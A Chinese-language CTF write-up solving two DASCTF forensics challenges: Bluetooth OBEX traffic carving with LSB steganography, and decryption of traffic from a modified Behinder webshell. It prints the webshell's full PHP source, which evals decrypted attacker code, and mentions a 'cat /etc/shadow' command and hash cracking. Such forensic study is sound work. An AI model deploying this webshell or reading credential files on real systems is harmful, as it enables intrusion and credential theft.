[队伍名] - SU [ranking] - 1

碎碎念
临近期末了,很多师傅都去准备期末考,有幸成为队伍的一员来参加这次的dasctf上半年赛季,总的来说这次题目难度还行,最后出了两题misc,不过饶了太多弯路了,其实后面回顾下来是不难的,导致后面没时间写第三题了,后面应该会复现一下的,咱们su也是拿了第一的好名次,也是给我蹭到了qwq(还好没爆零不然拖后腿了)
另外欢迎各位师傅加入我们su哦,详情可以看我的[关于]~
BlueTrace
知识点省流
蓝牙obex协议流量+lsb隐写
WP
一开始先用neta梭了一下,发现能得到一张jpg,发现显示不全
猜测是neta提取的有问题,估计是做限制了,故转手搓:
众所周知蓝牙传输的协议一般是obex,所以过滤一下,可以发现这里明显是传了一个jpg的

用tshark导出一下
1tshark -r BlueTrace.pcapng -Y "obex" -T fields -e data > obex_payload.txt导出后将数据拉到010,分析一下会发现藏了一个压缩包(可以直接将流量包拿去binwalk就会发现有这么个压缩包了)

全部提取出来,根据010的模板会发现内容是不全的

回到wireshark分析一下,会发现在最后面还漏了一个流量数据,将他单独提取出来拼上后即可修复压缩包

打开后它提示我们密码是蓝牙传输的目标电脑名字

在wireshark的无线中找到蓝牙设备,然后简单遍历一下就知道密码是INFERNITYのPC

解压得到一张奇怪的png图,猜测是lsb隐写,stegsolve分析找到flag

Webshell Plus
知识点省流
魔改冰蝎流量分析+RSA私钥爆破+shadow爆破
WP
根据题意易得webshell流量,那么就看是哪种常见的,简单分析可以发现传了个shell.php

其内容如下,不难看出就是冰蝎,但又不太一样,显然魔改了,一开始会进行检测,当攻击者进行密钥交换时(传入gene_key和public_key),shell的key为一个随机的8字节的字符串转hex后取md5的前16个字符,然后用这个key结合传入的public_key进行openssl加密,最后输出被两个8长度的伪造base64字符串包含的base64字符串
1------WebKitFormBoundary2AdFNokm3wx5QuXV
2Content-Disposition: form-data; name="file"; filename="shell.php"
3Content-Type: text/php
4
5<?php
6@error_reporting(0);
7session_start();
8function geneB64RandStr(int $length): string
9{
10 $validChars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
11 $maxIndex = strlen($validChars) - 1;
12 $randomString = '';
13 for ($i = 0; $i < $length; $i++) {
14 $randomString .= $validChars[random_int(0, $maxIndex)];
15 }
16 return $randomString;
17}
18if (isset($_POST['gene_key']) and $_POST['public_key']) {
19 echo geneB64RandStr(8);
20 $public_key = base64_decode($_POST['public_key']);
21 $p = bin2hex(random_bytes(8));
22 $key = substr(md5($p), 0, 16);
23 $_SESSION['k'] = $key;
24 if (extension_loaded('openssl')) {
25 openssl_public_encrypt($p, $encrypted_key, $public_key, OPENSSL_PKCS1_PADDING);
26 echo base64_encode($encrypted_key);
27 echo geneB64RandStr(8);
28 exit();
29 } else {
30 die("OpenSSL extension not available");
31 }
32} else {
33 if(!isset($_SESSION['k'])){
34 $key = "e45e329feb5d925b"; // Default key: rebeyond
35 $_SESSION['k'] = $key;
36 }
37}
38$key = $_SESSION['k'];
39 session_write_close();
40 $post=file_get_contents("php://input");
41 if(!extension_loaded('openssl'))
42 {
43 $t="base64_"."decode";
44 $post=$t($post."");
45
46 for($i=0;$i<strlen($post);$i++) {
47 $post[$i] = $post[$i]^$key[$i+1&15];
48 }
49 }
50 else
51 {
52 $post=openssl_decrypt($post, "AES128", $key);
53 }
54 $arr=explode('|',$post);
55 $func=$arr[0];
56 $params=$arr[1];
57 class C{public function __invoke($p) {eval($p."");}}
58 @call_user_func(new C(),$params);
59?>
60------WebKitFormBoundary2AdFNokm3wx5QuXV-- 接着分析,发现攻击者确认传了这俩参数,所以key值就不是默认的了,可以看到回显就是被两个8长度的伪造base64字符串包含的base64字符串,现在要做的就是找到RSA的私钥去解出p值和key

用厨子解一下传入的public_key,可以得到RSA的公钥,结合搜到的这篇文章

用这个在线网站https://www.ssleye.com/ssltool/pub_asysi.html解出n,然后用yafu爆破得到p和q,接着按照文章操作得出私钥文件即可
然后搓个脚本解出p和key
1from base64 import b64decode
2from Crypto.PublicKey import RSA
3from Crypto.Cipher import PKCS1_v1_5
4
5# 将下面两项替换成你实际的数据
6encrypted_b64 = "O+le5pAWzAptt0OhVjS5eDX3W3X766Hc8QbKMNflhkZM3t8HArZ8YRFM3G7h7MMYrcASwycx7aSU1OL2tChk3O/O8cjw/0C6Agx5qEDeiI3gtnic5/J+cLB0WcspW2t9OiqteGHBtXZx0cXUjUSU/7tPwfnOS3pXjrJRDisgSwE="
7private_key_pem = """-----BEGIN RSA PRIVATE KEY-----
8MIICWgIBAAKBgFgmOymT9EJvC8sHTWxov0LQWSomL5DPRiTUEnQnrDmKYGvNSNMJ3V1fR1hr9jQ6
9oepvQvjMyWsyTL6J3n9nbOGd5tey/4BLTXHQyaXcSpfl3z61fBJzy91rZrXbzMY1adHH4VYyUoDQ
107qkF2/RVnR8PJVzRoJn+XaH3RabkzHitAgMBAAECgYAb6zfvykmhxPQSQOTXwjFZow2qmN+V2OBZ
11h8W0fmBA9T/mxOUc2lH/Yc8CBWe8URm5W7X1gT8GMa825gnPhl1olOcG9QDtvsWZlLa2YIE1VmH9
12VexRu+CTaA8YfdQlOQP81P5A8kLOfpqAwvOa166HTTUOLZj1t/wn5DNGDdDnTQJBAJY4ecYJt6OW
136LJsCDoPHDjYPZCtcAv3rAhawzNhltW7Zd5uzN0GqigOWpt+u63pnRXb2HYp2zR5sR/HBbXRqoMC
14QQCWOHnGCbejluiybAg6Dxw42D2QrXAL96wIWsMzYZbVu2XebszdBqooDlqbfrut6Z0V29h2Kds0
15ebEfxwW10akPAkAomKSYF2IwbIUASt/CSPkYh5/DrIteQJWWQGkGRrZLlnRGM21bwgRUBOUJpqsz
16qbGRCbOq407hFI4Ah3mMlFffAkANotDC/kzSJ7e1woK4qnh4XICyKlw6aeAO3hZMCrbDbgBgQZSN
17F7bIbg0hgk6NCeC9hDhQ+ZmxWL6QUOOezopXAkAJSa9xZ9Ocse67NBlIaCj4gPuMYs8viR6X6hW0
18CXl/c4Aa0+0Cp6NLbD4IPNMseRxK/GNnpl9yCkbSexnQvzMl
19-----END RSA PRIVATE KEY-----"""
20
21# 解码Base64后的密文
22encrypted_bytes = b64decode(encrypted_b64)
23
24# 导入私钥
25rsa_key = RSA.import_key(private_key_pem)
26cipher_rsa = PKCS1_v1_5.new(rsa_key)
27
28# 解密
29sentinel = b""
30decrypted_p = cipher_rsa.decrypt(encrypted_bytes, sentinel)
31
32# 输出结果
33print("[+] Recovered p (hex):", decrypted_p)
34print("[+] Derived AES key (md5(p)[:16]):", __import__("hashlib").md5(decrypted_p).hexdigest()[:16])
35
36# [+] Recovered p (hex): b'519a73ca97a9e3ea'
37# [+] Derived AES key (md5(p)[:16]): d14d8ce94563e71a得到key就可以对流量解密了
用在线网站
http://tools.bugscaner.com/cryptoaes/解密
得在tcp流(注意必须得是追踪tcp,http流中的数据有缺失)32中找到cat /etc/shadow部分的回显,然后base64解一下msg,最后爆破shadow的hash即可得到密码



md5之后套上flag格式即可
Comments will be available soon.